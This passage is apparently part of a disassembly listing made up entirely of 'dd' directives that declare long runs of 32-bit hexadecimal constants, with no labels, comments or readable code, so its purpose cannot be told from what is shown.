		dd 0E4A10E40h, 0F2756561h, 0E72CDB00h, 0E88D4D39h, 9F0A00B9h
		dd 0BA572F6Dh
		dd 3C00EA50h, 7FF98BCDh, 0DB7BADh, 10F01949h, 6D3F075Fh
		dd 8375Ch, 0E29A8503h, 1F25C530h, 0C00A5CB6h, 0A259AEA9h
		dd 0B5004C10h, 7E283A32h, 3F048F4h, 738C2A7Ch, 64E8E457h
		dd 0A7F890D3h, 1750DF7Ah, 8500C491h, 59456247h,	0C92291h
		dd 553F97CEh, 696692D7h, 7C018977h, 11AEEEC3h, 0EFD07B73h
		dd 3680017h, 0E4BF94DBh, 6000C1D5h, 0D75BD48Bh,	0C3A50Bh
		dd 0FBCC9012h, 3A23F8FAh, 99893Eh, 0B05364C2h, 1FB8A6h
		dd 5F6E43C5h, 7C13AE9h,	96FB7400h, 940D5245h, 0B97B8Bh
		dd 4444AD4h, 557E37FEh,	95EAF5E4h, 0DD6A8C00h, 0D9B087F6h
		dd 75D80751h, 0A0A6882Eh, 35664E4Fh, 0D6081A0Fh, 0AB81C061h
		dd 0A9475Eh, 2629A07h, 0BD14EFA5h, 0D890400h, 61DE8271h
		dd 0DFA11357h, 0D6900731h, 0CAE46145h, 46D2C8FAh, 5EBAA200h
		dd 7123B53Eh, 0F6C47606h, 2864C061h, 42F81BBCh,	0EB3B7800h
		dd 0C6CE8573h, 709B60E8h, 6EC46B4Dh, 0AB160300h, 8D18471Dh
		dd 0AC2B1394h, 660B0045h, 46F24A62h, 567FF600h,	0E30CD6EAh
		dd 38644812h, 0F86DB700h, 0BD3C5948h, 0EE967E00h, 0BB5BB6ADh
		dd 0D5D6C5CCh, 0D3688061h, 893D4EBFh, 75950FB9h, 0F9632CA8h
		dd 41DE0027h, 43805FCFh, 970FCD3Fh, 40204604h, 1B7C13FBh
		dd 38E7482Ah, 9917B680h, 0C524A891h, 833D0050h,	46D8931Ch
		dd 7D4DF951h, 3D895880h, 4247DBD3h, 0CA0744F0h,	0A34AD663h
		dd 21D70630h, 1B910020h, 60BA99B5h, 0E900590Dh,	3D97D55Bh
		dd 16F9A7F3h, 0C53DCA8h, 0A32EF521h, 66006977h,	17C21C02h
		dd 188E48Eh, 4DA1488Ch,	0E056AFB8h, 4C066299h, 0CFEBB07h
		dd 83E50012h, 0E3BE6F12h, 4D008A64h, 6DFA86DCh,	18B86B71h
		dd 38892BE5h, 73247BAAh, 5100C03Eh, 0C0222A98h,	0BAAB0078h
		dd 839281C3h, 7600F6C2h, 5F3A7BBh, 1CDDF249h, 8BFA5Fh
		dd 0DFF43768h, 901C7FB3h, 40C0190Fh, 46219DEEh,	89F3001Bh
		dd 99BDDC91h, 0CCE5F6CEh, 0C70044EBh, 3ED99F27h, 29168Ah
		dd 80CCDAA3h, 0E51D4274h, 0F06BCB39h, 0FA12D50h, 0BDFFED00h
		dd 8B571E25h, 94EB0EC3h, 6CC09887h, 528AA4B5h, 2C0E9BB0h
		dd 3727635Bh, 92473D00h, 544EEAh, 39BE1933h, 15A3D78Dh
		dd 64384C00h, 7068ECF6h, 77D20E67h, 83604798h, 73BBCB48h
		dd 0F20355Ch, 0E1C427E0h, 3B8FBDFCh, 7D30F4C5h,	32A005Bh
		dd 0FD98D9D3h, 1600978Ch, 72470FF3h, 6380EDAh, 0DE8DB11Bh
		dd 0EC0164A0h, 0E4AE3B58h, 0B440A17Fh, 369397h,	7B198999h
		dd 0F0AD4964h, 3800ED98h, 0A287E68Ch, 24367884h, 0F2177h
		dd 0E42CDD7Bh, 3800F720h, 4CDB250h, 5D91DEh, 0D89F3108h
		dd 538060F8h, 250DC000h, 0DC45EFE5h, 8B5900A8h,	5AC2741Bh
		dd 30011CC6h, 41A00C7Eh, 9CF04FECh, 0D1DF13A6h,	0B0F902DDh
		dd 8FE04C11h, 0C80022AAh, 42A19955h, 0A65BDAh, 0ED90BF40h
		dd 21A3A7E8h, 53DE0800h, 94AD969Ah, 0C64EA8Ch, 7170CEFFh
		dd 0C0000648h, 0D52F5C3Fh, 1C3BC25Ah, 65F02Bh, 4C5B72DEh
		dd 0E026603Dh, 0B300C705h, 9A6D40FCh, 7509874h,	6369DFA5h
		dd 70EBF00Ah, 0A903C451h, 1D492FCAh, 3E207B30h,	6B00861Ah
		dd 89E0D506h, 0E8F9A411h, 2B038BE4h, 49035478h,	0A51DA042h
		dd 0DCDB000Bh, 6983ED55h, 901F8A2Eh, 2C070EF0h,	29B04008h
		dd 2C50760h, 7A2E30A0h,	0F0A113B5h, 0D0843B9Ah,	150062E3h
		dd 587808C9h, 0DCC59Ch,	30C75697h, 754F64A8h, 0DA6CFF00h
		dd 514B3F88h, 0A7050021h, 626B61D3h, 8A00524Dh,	72E1C80Ch
		dd 135A56ECh, 9C752Ch, 0C46A0828h, 0AFFAE469h, 0E7479002h
		dd 60F2464Fh, 13B1F1CCh, 0C7B796h, 7AF9FF74h, 33008E32h
		dd 726EEE9Fh, 0E870BAEh, 0C02D6CC8h, 65D69260h,	700A7BCh
		dd 0D09F5BCEh, 0C3CD05h, 9C0C9DA4h, 2B181B47h, 0D34D88F2h
		dd 344722Ch, 1ED40F86h,	87604F1Ah, 0F2CAA74h, 0BF14EB00h
		dd 0D58265F1h, 0E08C3945h, 7A01E305h, 310800Bh,	0BF00DDE6h
		dd 4A75F25Ch, 0BC8E6Bh,	8BBF3C1h, 88531C62h, 0C8E5FB00h
		dd 0C51513C2h, 765F005Bh, 31D46480h, 1F0FD0FDh,	0C3099589h
		dd 88DEB1E4h, 29F81A7h,	45ADE7CCh, 4440A214h, 0B17939A6h
		dd 901A2400h, 77CE6567h, 765C2ECDh, 0E087007Ch,	0C37A940Ah
		dd 0B173D600h, 0A0EC51E2h, 2F0C2B7h, 10C4DD57h,	0D0C86426h
		dd 0DBFC1903h, 4CBD906Dh, 1760E5Dh, 884D3009h, 9689F460h
		dd 529ACFA0h, 0EAF5B815h, 88FA2EA0h, 7F70CC50h,	0C1B80052h
		dd 0B1C75535h, 0AC740D30h, 0D2C87802h, 4179A442h, 0BCF95810h
		dd 121398D0h, 2FC0B60h,	21269519h, 0FA01C7E0h, 245B7700h
		dd 0D2F3697Dh, 0BAB90096h, 201DC508h, 4B01AEE5h, 49166485h
		dd 0F430D650h, 38257BA4h, 0BB803A99h, 5FD048EAh, 0B917E2D2h
		dd 4C1DB15Dh, 0DA81B5C0h, 0E2E17h, 733A0356h, 8D846DFh
		dd 0F998438h, 40488F71h, 0A8541C5Fh, 0E09700D9h, 0A3E17898h
		dd 0AD17EB6Ah, 2AEA5ABh, 5ECBCC46h, 3FB394C0h, 73D27100h
		dd 30810852h, 404A07CFh, 0E71DC6F7h, 0D15F37B9h, 710AE8D7h
		dd 0D408312Eh, 0E40066A2h, 9D30EF33h, 7F02972h,	0E79BB97Bh
		dd 743C71Ch, 0AE8EB02Ah, 16335358h, 0F8BEF036h,	0B15E03h
		dd 6E9465F2h, 74DBF05Ah, 33D6A900h, 0E16AAE6Ch,	4DC7BC8h
		dd 85E3F95Eh, 572C83E4h, 0BA2420FFh, 9E3A7F25h,	3E0603DEh
		dd 0CA49D7BFh, 0EBB0414Ah, 8E249C32h, 9C2408h, 89BBE565h
		dd 98074EDBh, 3DCD1B76h, 80E0DA20h, 74BD751Dh, 0C4B0B5h
		dd 6FEA693Fh, 3675DDD5h, 0D6574700h, 40EF804Eh,	9BA900A8h
		dd 0A7441169h, 4C9862E9h, 0D5579D01h, 1917DEF5h, 0C063E6D8h
		dd 305B4418h, 843B59F7h, 902B26EAh, 0C140EC00h,	3A8F89ACh
		dd 681F1A9h, 0F29A2360h, 0AB002078h, 0A6027200h, 2563D12Bh
		dd 2F530064h, 0DA0549C9h, 234814B8h, 0F35500D4h, 80E2CBCFh
		dd 5DFD00D7h, 0F73E9E7Ch, 0BE13EBF6h, 0C800C598h, 0B21A8B4Bh
		dd 11080034h, 0ED6F5496h, 0C4BAF865h, 0EC00F673h, 932B38A9h
		dd 0EB29C3h, 0D6E124B4h, 945E7E58h, 0D5BB0612h,	4E00D7A8h
		dd 504AE0C5h, 0E23CA428h, 0CECA80ABh, 0EA148D6Bh, 5F1C0055h
		dd 80AF06E0h, 0BC0A015Eh, 0D4C103E4h, 8F9F5780h, 2A61085h
		dd 0DCB6387Dh, 8C50869Ch, 8107CFFEh, 0A63DD3ACh, 4D65E770h
		dd 0E8330B8Ch, 80DF24C0h, 82BB8570h, 1CCB006Ah,	70AA1FE9h
		dd 54988E30h, 8B312D07h, 737265F6h, 0E682C018h,	0D25107ADh
		dd 3FD6DF8h, 77908740h,	94000885h, 0CA22B812h, 72C9054Ch
		dd 7BC60078h, 0AA724AB3h, 3E74F241h, 193D3Ch, 145FE15Ah
		dd 3AC26E59h, 0AD809DACh, 1E5C3A98h, 7B00FE28h,	4E0D2937h
		dd 173353E9h, 3C739Bh, 7DB74844h, 5D0092DEh, 99069385h
		dd 1C38481h, 0B20996F6h, 0F4CC4E0Ch, 3213911Fh,	0AB00D813h
		dd 0D15F10FBh, 5EB50023h, 3DC924DBh, 7C05EB25h,	429863E0h
		dd 25A600C8h, 84009416h, 0A460D175h, 0FD033FE0h, 8D56EDB5h
		dd 0F483E0CFh, 3C3CB2A8h, 359DFB24h, 0E315C3EEh, 2900E04Fh
		dd 9F4B444Ah, 9F0D253h,	0DCAF7127h, 33DBA887h, 5AA06914h
		dd 616F9831h, 22E18070h, 71AE1AB5h, 16D23F9Ch, 454A6000h
		dd 46AC891Ch, 50189E27h, 0DE190074h, 0C705353Ah, 0D50086CFh
		dd 56B90D9Fh, 15C162Eh,	7FB114CBh, 0F00B9960h, 5300A3F6h
		dd 911B6D12h, 0FB9B0Dh,	56D36807h, 0DE5BBE73h, 0B520E10Ch
		dd 1CF78ACh, 24ED4AD9h
		dd 80BB0D3Dh, 14D00920h, 2855DB6Eh, 165C9D31h, 41B4F5D3h
		dd 7436343Ch, 0F61BE4B3h, 0C90083E2h, 0C2FC72D0h, 14A3BA4Ch
		dd 0EEB6DA16h, 0CAF41900h, 283852BFh, 3D889800h, 4007B52Dh
		dd 635900FCh, 26ED3A84h, 2700D9B2h, 0DEBC9745h,	765A2D03h
		dd 5CDC0096h, 0E4D84A3Ah, 0DF00A2AFh, 8DEF2B67h, 0A040CC4h
		dd 0A787968Ah, 68510CF5h, 0E90063B0h, 0ADDDDC7Dh, 18CD93D0h
		dd 0C11BBAB8h, 610119BBh, 47E3D21h, 64744441h, 91B800E0h
		dd 471BBF8Ch, 0A00055D8h, 1F72CE35h, 15F202Bh, 0A39A86E2h
		dd 0CA24C81Ah, 58571060h, 0B1DF41C0h, 0C0C77Bh,	0C4A5EF2Ah
		dd 4A445E59h, 6E13CE02h, 0E07AAAC5h, 979F5210h,	483B5BF8h
		dd 8EBA03BCh, 0C8B48550h, 3EF269B9h, 1B00C522h,	0C831DCCEh
		dd 5C000F7Eh, 3C533497h, 1422DF10h, 0B9071DDBh,	7D6D1900h
		dd 0A458AC82h, 0B01B5A0Fh, 5115A53Fh, 0DA12E040h, 34B17FCh
		dd 106D906Eh, 93E94F67h, 5EF1F0D7h, 0BE8529C2h,	988470E5h
		dd 64B70643h, 0B879F345h, 0F0C19900h, 0ED6078DEh, 0FDFF03A6h
		dd 99ABF84h, 8F55F598h,	1328A15Dh, 0C0017102h, 9AC283EFh
		dd 3022AC70h, 0E3F05124h, 0EA725286h, 59D158h, 311296DDh
		dd 1AD9476h, 66EE05AFh,	208B99F8h, 60000880h, 0A4159E39h
		dd 0E3A5B86h, 484652Ch,	20C0FE86h, 4913C600h, 361B9C11h
		dd 7F44FE23h, 0C1310190h, 689660FBh, 0C09720E2h, 9DB7E83Fh
		dd 0E6015155h, 90926D5Ch, 21800CD1h, 0CB07CDA9h, 0D50037CEh
		dd 4516696Bh, 160C443h,	0A42DC1FEh, 0E3E6C08Bh,	802CAAF7h
		dd 4F9A44B8h, 4486913Fh, 0F300C839h, 2B0CEA07h,	3138CD64h
		dd 99C18AE7h, 0E2F0F8EEh, 100E5C30h, 0FC78B720h, 0D7B90C8Eh
		dd 900983F9h, 0CEB8F700h, 4E7ADD43h, 31810035h,	25200319h
		dd 0C600FD12h, 0AF24F774h, 70CD0E0h, 0D5CDD2E2h, 28CBB688h
		dd 0C00B1800h, 0FFB5B0E5h, 0BC251DF3h, 1AE40CE0h, 0F40BFA20h
		dd 803267C0h, 0BF3F1B78h, 17D63CF8h, 0EBE20D81h, 8D2006B7h
		dd 608A8C88h, 0ACFF2080h, 59BFE203h, 0CC89A500h, 33DB425Ch
		dd 0E70138F1h, 8DEAD307h, 0B1176065h, 4900D1EFh, 52CBAE7Ch
		dd 0E9F9C11Dh, 0EE926E0h, 0E247897Ah, 53135420h, 6D00953Ah
		dd 841D18FAh, 0CE9F2A5h, 8CBBA681h, 22849628h, 0D82262A7h
		dd 822122A6h, 448408FBh, 28A04C79h, 0AE888EB5h,	45EB883Eh
		dd 77C828Bh, 0CF7AA09Bh, 2F384133h, 1152004Eh, 27CE9A82h
		dd 327205CBh, 0C484F67Eh, 3C58C045h, 973E7A79h,	0D800F78Ch
		dd 0C7A2D76Ch, 0B98031h, 788ADBE1h, 0F97C3F88h,	46E6BF0Fh
		dd 11A8808Fh, 0FCB02A1h, 0C274559Ah, 57AB5B61h,	0A605EC80h
		dd 0EA8241Dh, 44C47740h, 7B16094h, 8E1229F4h, 2D2F38Fh
		dd 0F0305391h, 203BB5D6h, 0B488098h, 0D5A5276Fh, 0CDC80014h
		dd 0C59F4D6Eh, 26005D06h, 82E395BDh, 0E665B321h, 8F0D0598h
		dd 0AE436Bh, 0E19AD8D8h, 8774C988h, 7400AD7Eh, 90F280FBh
		dd 0F9576CEh, 70D78DDDh, 0F0CA3F07h, 0A3BFD60Bh, 0AF572303h
		dd 0E82DD382h, 3A72CCh,	250D5386h, 0E13C0CA0h, 64D4F500h
		dd 0C4B0B648h, 40D809C1h, 142046F8h, 8E17CAE1h,	0EF50A409h
		dd 565C00FCh, 769D29Bh,	7BDBBFA9h, 436F60B2h, 6701E3D0h
		dd 0F10DA09Ch, 8A60B6DDh, 0EB1B004Bh, 9A9148A2h, 0CA00BE3Bh
		dd 49397799h, 549232h, 0A0FBE178h, 0ECF9045h, 185E1900h
		dd 0B3170398h, 41300B4h, 520BA2D8h, 820FD03Dh, 2098E6CFh
		dd 48A57AACh, 7F5E812h,	5F6F734Bh, 0CEAE201Fh, 45037DABh
		dd 92753042h, 56809152h, 0E70C70h, 0D52F1AB3h, 18B6B821h
		dd 0D045C300h, 689319F0h, 405700E1h, 2E1F8A54h,	0D42C0B27h
		dd 9500FC51h, 0DBBE384Fh, 141B00BCh, 0E9DAFB58h, 0CB05DBAh
		dd 0C96CDE00h, 8F4572E0h, 5ABE04C2h, 8759B76Fh,	98467076h
		dd 0F900D231h, 0C8E24F0Eh, 7073BA66h, 0AF300A3h, 4D196B65h
		dd 4500864Ch, 7406FE13h, 0A3B3282h, 0C229D287h,	42760092h
		dd 0A1C8B761h, 763EFD3Ch, 7787C700h, 0D5A66766h, 10B90037h
		dd 9F073FBAh, 3C00F0E6h, 0C3A9CA08h, 439DC8h, 4408192h
		dd 137AD1CBh, 0F2603F00h, 39CCD307h, 2AAA00F8h,	0E10D34A6h
		dd 330731ACh, 0F92E89C4h, 487795C0h, 0D17D0068h, 739E7869h
		dd 62091ECBh, 80B282BDh, 7C514C6Fh, 0BB139D3h, 0EB284989h
		dd 96C61420h, 0A4A034FAh, 5E9C9354h, 0AFF7DC00h, 177F812h
		dd 1E8CD053h, 2065A2CFh, 2A00607Ah, 0ABC20C9Dh,	11EB79h
		dd 41DAC0CDh, 0E254BCE7h, 845D8D04h, 0ABE8EDh, 9CD8CEC7h
		dd 0D6007618h, 43F53326h, 0FBE3EFh, 63302848h, 24570172h
		dd 91250703h, 604140DFh, 0EF44F8ECh, 0A0EAD9Ch,	7DD6843h
		dd 0BC60963Ah, 16423C7h, 7F7AD072h, 0C490A1C6h,	99000F41h
		dd 3CAF5063h, 1BAD6E0h,	4EB7ECAEh, 0CCEDC4C1h, 0BE0028D3h
		dd 0ACCB7106h, 0C2279Fh, 0D445656Ch, 14691DB1h,	887A3D01h
		dd 7B66724Ah, 0E654DCh,	49D87817h, 92953C1Dh, 3E2F148h
		dd 343AE994h, 3D608FE5h, 1CC86913h, 0A1F66Eh, 0BF5156E1h
		dd 0DD0028CAh, 0D6E9E6D3h, 1DAEE89Eh, 417F861Ah, 9261EB0Fh
		dd 0E980C669h, 0EF07D834h, 0D3B9250Fh, 0AFCDE0D2h, 50FBC5h
		dd 213A674Ch, 1CE09640h, 24757A00h, 1763D915h, 27640029h
		dd 690358AFh, 557DD5F4h, 6B142800h, 43B484CDh, 3AEF00CBh
		dd 2AB867E1h, 0EE01B156h, 529F7A59h, 89206F07h,	65933E34h
		dd 55DC5700h, 64F8AF62h, 0EFE7AA03h, 0A0967D99h, 7FD0D936h
		dd 23350141h, 5DAB653Ah, 0E1FECCBCh, 0D100CE7Fh, 0AF8FE3E0h
		dd 73DA703h, 0F299142Ah, 7335701Bh, 58009E54h, 8D7877EBh
		dd 5C217EAFh, 0CA00BE36h, 855734A3h, 0C1018CB8h, 0E38DF766h
		dd 81D07C26h, 5D8F004Eh, 0B421879Dh, 0F70050EFh, 59F91E0Ch
		dd 1605C78h, 0BF2B4A29h, 0CC320E5Eh, 1839A337h,	2F8F807Eh
		dd 5B41A5D9h, 14D60E51h, 0DB206D94h, 6CA33863h,	8DFD3000h
		dd 39A405C1h, 0FA480350h, 6F420896h, 0A22426F8h, 0C7B50C00h
		dd 21711A85h, 779A3E4Ah, 0F87B940Fh, 562216ECh,	0C861BC00h
		dd 4B5B9F35h, 63DA01A1h, 1E0481C9h, 6D49D8DCh, 0CBAC71C0h
		dd 1CABF305h, 33341B0h,	8ADAF87Eh, 0C5A27DB0h, 36EB0D00h
		dd 3A4A7F38h, 0E01E6566h, 39C980B1h, 0F34CE494h, 242E0044h
		dd 7015A6C4h, 64CF00FBh, 1A3E106Ch, 6903305Ah, 0C7367DA8h
		dd 0C0780227h, 0DDA3642Ch, 3817FDC0h, 9C623100h, 7001C4F6h
		dd 0A307EF7h, 0BD34B63Ah, 0E5BE02B8h, 0C710F560h, 8ED800ABh
		dd 8A25348Bh, 92000230h, 9C6BCBA7h, 7A879AC1h, 6695016Eh
		dd 0C8D22025h, 85B8CC51h, 897B4E1Dh, 2A8CE2C0h,	0FA389B5Bh
		dd 0D08E0035h, 1791DBA6h, 0B23DD7DCh, 656980A5h, 0E0C55DF7h
		dd 0FABC0FB1h, 9EE711BFh, 0F2BE7036h, 48003A4Dh, 0D2F778FCh
		dd 30F4BB2h, 0D9FF2B8Ch, 9490255Fh, 9900E2F4h, 0FD7802AAh
		dd 0EA6EC96Dh, 130400CCh, 8653156Fh, 291CF660h,	0D080B2FBh
		dd 5E4BC6A2h, 0D57B00E6h, 0B7A8182Dh, 9800033Eh, 65EE8284h
		dd 0D0B8DEh, 0D3935E1Eh, 4B67CB26h, 4F94CD03h, 0D0072F6Bh
		dd 1D6931h, 3C06053Ah, 0E2B835C6h, 40906100h, 0F7A09D6Eh
		dd 580F7E11h, 0B100D07Dh, 0B7B6CC01h, 1C00A7F9h, 2C07C683h
		dd 0A5EC79h, 4197EB0Ch,	20F8F510h, 0C3E5900Eh, 0E1BFA00Bh
		dd 0FCF02BB5h, 6DD05863h, 75D44800h, 36F49F0Ah,	0B8A4AC00h
		dd 84DAFA4Ch, 60DC7878h
		dd 0D835382Bh, 0F5032821h, 2A1207BDh, 88180029h, 53731C5Dh
		dd 0D700BE96h, 546074DEh, 0B46D4Eh, 8592E4C5h, 246E46F5h
		dd 0AC0DC11Dh, 1D10DBC0h, 756FD0Ch, 84297104h, 4426417Fh
		dd 158B907h, 8353E9BBh,	0D8804041h, 0F0595135h,	0F9002BC0h
		dd 0A6F45486h, 82345h, 9E90AD0Eh, 0C2D7C0Ah, 6A6D0201h
		dd 0FF99D8Dh, 7A8EE0h, 8C89E61Ah, 31C5F326h, 8894B200h
		dd 6A4CC98Bh, 8A4A0EB9h, 6B6787EBh, 4E9F8016h, 0E700C570h
		dd 1C6F1063h, 6544BCh, 0FBC15DC8h, 0CB25D9C0h, 0D1597004h
		dd 9C800A11h, 91FAF3h, 0A515F6A6h, 0C9E2ED4Ah, 0F7F1A001h
		dd 0AA45DE62h, 108C30h,	1DD82E9Fh, 0CC9D9016h, 0F681C501h
		dd 118C82D5h, 636EC8h, 0EE30DAE5h, 0A6BE8BF9h, 3C101F00h
		dd 0BBE902A3h, 947F042Bh, 80DCB216h, 0B6B475D0h, 24ED6500h
		dd 39CAE7DDh, 742209C2h, 1C8098D5h, 0AE3E6448h,	6E65850Fh
		dd 53B5406Fh, 0DD6334h,	73DB12F5h, 0EF76F8D3h, 0FAE730C0h
		dd 0F003DC52h, 9A4500A5h, 57C36799h, 0C2008DD1h, 189D9B1Ch
		dd 49F8848h, 0DC8B8934h, 0C9388041h, 75F88297h,	2C9BC800h
		dd 0F2A8F1EDh, 0B03F48D5h, 0FEB33900h, 4D306A6Fh, 1D3B4300h
		dd 8BD3AAA3h, 49280682h, 883E807Eh, 0B1BD9500h,	4FE9329h
		dd 0FDCA065h, 0AF190111h, 0AC46EC8Dh, 0F367C887h, 4A51DE00h
		dd 0BB54794Dh, 0F4A3F46Eh, 841E1818h, 7C38206Dh, 7EB02500h
		dd 0D2FF6EE9h, 2EAF0FD4h, 0ED063071h, 14006095h, 9F8A4EDCh
		dd 0E97A83Dh, 0D35EF0C6h, 0D81AD1A0h, 827B8C0Bh, 0CF678800h
		dd 45E7E9E2h, 78F900D3h, 0BE3260CBh, 0A9173F3Ch, 9D006BEAh
		dd 0E77BD531h, 426300D8h, 27EBB045h, 7C3C9124h,	0D7FB80A7h
		dd 8C7B83F2h, 533300B8h, 1BA9C8C4h, 56005505h, 4ACCAD1Fh
		dd 437B13h, 0D788C08Ah,	0A61B4782h, 0DB51421Eh,	0EE8F6E80h
		dd 4C8A1614h, 6A18622Fh, 2AE92018h, 44D9F803h, 998782h
		dd 90123E29h, 3235333Bh, 391C102h, 0D79E1E0Eh, 8C0FF163h
		dd 3393B7Bh, 8F635001h,	4BA0F2D7h, 0F02DFEh, 21F9BBCCh
		dd 914D1E3h, 0EBF4400h,	0A7B1F6C2h, 0AD9B502Fh,	0B0F8009Dh
		dd 0D77D6B2Ah, 1200339Fh, 55C4CA4Ah, 7A729AFh, 0BC2DAD81h
		dd 2AD2E319h, 0C9DBE5F8h, 5B4ED900h, 31CDB79Eh,	0CB28002Bh
		dd 0C1F950E6h, 0D9001DDAh, 26B422AFh, 0EE5F3FCDh, 40A1D84h
		dd 0F7638030h, 0A74A3AAAh, 0D4E9A00h, 6C996D96h, 0DB560514h
		dd 4EF0AB06h, 0AE5F6C0h, 0B3FBC036h, 0A97E3009h, 60D77B00h
		dd 0ADD854DFh, 8CC400EAh, 8D6D3FB0h, 0BF02BD12h, 3166B7FBh
		dd 7935C16Fh, 508708E9h, 0C07E3934h, 2A0E858Ah,	14E84000h
		dd 634BCAD5h, 96950173h, 12CBDFAh, 808B71E1h, 66F328E8h
		dd 0A7AFD7h, 8C7332EAh,	4116E4E5h, 0F8BCD151h, 3F00602Dh
		dd 915C34C4h, 220D9B8h,	17F3AA36h, 0EC8071F9h, 265D89E4h
		dd 660025EEh, 48643B86h, 767F9892h, 215103F0h, 3FF75D81h
		dd 603EFF0h, 0ABE75B00h, 9A32B4ADh, 0F11B0126h,	0F263D562h
		dd 46A9D4A2h, 5C28EC17h, 0A820EEAh, 7ED86400h, 3B00CB8Fh
		dd 0BEB5D45Ah, 0E07132h, 88BFB0E9h, 9B84708Dh, 0A22F3F02h
		dd 0F7B2819Ch, 4CB5F00h, 29097607h, 0DCBDFCh, 0B33EBB78h
		dd 0D7160C41h, 0BF0F3E8h, 80056E00h, 0E3D213DBh, 38373A56h
		dd 557DC54h, 9AE465A5h,	0BCA80EE1h, 9ED8BBC1h, 774884A1h
		dd 0AB03F183h, 0FBB0EC4Ch, 0FF16D923h, 7800FAA4h, 391A91E5h
		dd 0C050C07Dh, 63163A7Ch, 40DF87A2h, 6946EDh, 5B869F82h
		dd 97A760Eh, 2AFBF02h, 406ACBD3h, 366D6B0h, 0F9F46992h
		dd 26F0DFE9h, 0B801A741h, 4DA1E36Bh, 0DEF9D1C3h, 4488D4h
		dd 85F4E048h, 0CE8D11EDh, 0B509EC00h, 0D38F5759h, 552D00E1h
		dd 58483129h, 0FE01EBAAh, 94D8D75Ch, 0CB70A08Ch, 0F7C609E8h
		dd 0C210280h, 203060CFh, 4800B383h, 0C2BEED5Bh,	3943F3C0h
		dd 3D80A1EBh, 0DC41955Ch, 4B065416h, 1D6E05AEh,	31FD0040h
		dd 0AAC92066h, 36B8A7FBh, 70743905h, 4A807313h,	92A32C1h
		dd 9B17ADE0h, 72140F80h, 4200E893h, 0FA0ACF3Fh,	53EE28h
		dd 0BC69D9A6h, 84D4C8BDh, 9939DF28h, 3061E500h,	0F828B9E2h
		dd 0FDEE53h, 0B7F1A69Fh, 0BEF26260h, 25D6B00h, 0CE7879C9h
		dd 17EBFED8h, 1CCAB1FCh, 2600BE50h, 0EC7FAB88h,	2009611h
		dd 331A3C6Ah, 551391Bh,	650AA79Fh, 0BED020F9h, 0D8487872h
		dd 84453D15h, 73361A6Ch, 42079480h, 0E4D43D6Ah,	6057E880h
		dd 97CB52Dh, 0F4175B00h, 9CB77188h, 0D11F038Fh,	373AE857h
		dd 50D46591h, 50F4EB98h, 4DD5DC01h, 88E83BCFh, 0CA58DC0h
		dd 66422316h, 63030968h, 0C04AB6D5h, 7BE490ABh,	596D00A5h
		dd 8E0B4287h, 0F000DF91h, 548365F7h, 60D2AA76h,	0E122D0D7h
		dd 6800444Ch, 0D61AF689h, 0E27672D4h, 0CB5500DFh, 0DEA7E740h
		dd 48009D4Eh, 829A2CB3h, 1E7B91h, 46ED92BBh, 4981F5C9h
		dd 0A2EC1004h, 0B809EDBh, 758EA53Dh, 946301C1h,	1588AE44h
		dd 6C08201Ch, 6A007C7Eh, 0FE37C63Fh, 0EE5940h, 0E3AA0354h
		dd 0BEEC6FD9h, 8AA41B00h, 7F5B8033h, 49193B3Dh,	6CFAB880h
		dd 0B880724h, 36E9A100h, 26A5BB08h, 0BC9C006Dh,	7990D4C1h
		dd 20098B82h, 15312FDh,	63DC2548h, 9E9C9D00h, 0FE542B00h
		dd 0FA6CB0Dh, 475700DDh, 0CFA75F6Dh, 85174FDAh,	700101A1h
		dd 75230B0Dh, 5D4820h, 33B02D91h, 4BF50CF3h, 0A8F61C13h
		dd 0E67B3C00h, 3FFAEDBh, 8343ED47h, 6FB839C8h, 100386E8h
		dd 50A635E7h, 0B5E189DEh, 28982EC8h, 0E47D09h, 87BC3C6Dh
		dd 639023F8h, 16ABB006h, 1C4098E7h, 40665264h, 1BBD9FE0h
		dd 0CB7CD7E4h, 9BC64F00h, 204DAC5Eh, 0DB90083h,	875D9CF5h
		dd 28006FF9h, 2CC6BDEFh, 0FBC793h, 60A722Eh, 0B7E22280h
		dd 0E8F29500h, 0AE52C4C8h, 0FBBC010Fh, 0CB65A186h, 7213D85Fh
		dd 6800D073h, 0B1B206A4h, 7B8D47A5h, 0E2A4C3EAh, 0FD98B6h
		dd 3861AFACh, 5A00E0B7h, 7DC58597h, 31EFA0h, 0DA3B7CEBh
		dd 758B9558h, 40F7241Eh, 0BA075D5Ch, 0EF778C04h, 43AE4510h
		dd 575A0248h, 2B92A506h, 30BFDCC3h, 7C463327h, 3365A02Ch
		dd 2104332Ch, 0B89039B9h, 5AF35Eh, 0AE2DE0Fh, 0F09FC41Dh
		dd 3F0C6C00h, 669207F8h, 2FEA0F76h, 0C4C4EC16h,	4F64C059h
		dd 0E017091Ah, 9C039638h, 0C828A4BAh, 1203A519h, 0A80AE6h
		dd 0D101868h, 709A1390h, 1CB40110h, 50323910h, 0A30011D8h
		dd 335AFF8h, 1E94E86Bh,	0C03C9D16h, 0D48A28BAh,	4F24426Dh
		dd 43000609h, 0CBF82295h, 3BA5039Eh, 3AE33757h,	667360A8h
		dd 0FBADE100h, 31043601h, 12DF004Dh, 6E392DCCh,	0FF1E64A7h
		dd 1CFC0348h, 4240D097h, 95A004FAh, 5CEB4CE8h, 0D51FBD00h
		dd 36B51A96h, 6C74F300h, 53CEB63Ch, 0F14007EEh,	701BE852h
		dd 0D82CC58h, 7200D8E2h, 63D778C2h, 435FA0h, 0FB31B5Ah
		dd 5BEF0783h, 50A23000h, 0BD1AA146h, 9AA5030Dh,	0DF098F4Fh
		dd 2FF8FDC8h, 0C8248B26h, 0D8595C00h, 15003DCh,	0BD880451h
		dd 0D04B15A8h, 4E009019h, 0A1FE6BD1h, 946FE825h, 82850060h
		dd 0B2BC17C6h, 35490800h, 8B7CA7FFh, 643D0444h,	80CE50F5h
		dd 5319C9AAh, 0B5113A01h, 0BC42A4F4h, 0AE406C1h, 631400BDh
		dd 0E1BBCA13h, 20C0F527h, 939537ABh, 3F21005Ah,	0A2A791BFh
		dd 0C717481Dh, 0E820C1F5h, 0B3EFF2Fh, 0ED72A42Ch, 2B4B8700h
		dd 74397E3Ch, 56C400BEh
		dd 0C2DEB8FEh, 731C00FAh, 0F862339Ah, 39008F19h, 0A6C5B0EEh
		dd 0FDFB80h, 0C6464870h, 9D08171Bh, 8E151C0Ah, 100A895h
		dd 0B28054B5h, 0BC0C502Fh, 57B400F2h, 69565A87h, 60000E8Ah
		dd 0B11DA926h, 70935ACh, 0E7EAD029h, 8ADCB040h,	660F2D58h
		dd 0E0A64656h, 7F309F25h, 4516001Ch, 7461B437h,	1900EBADh
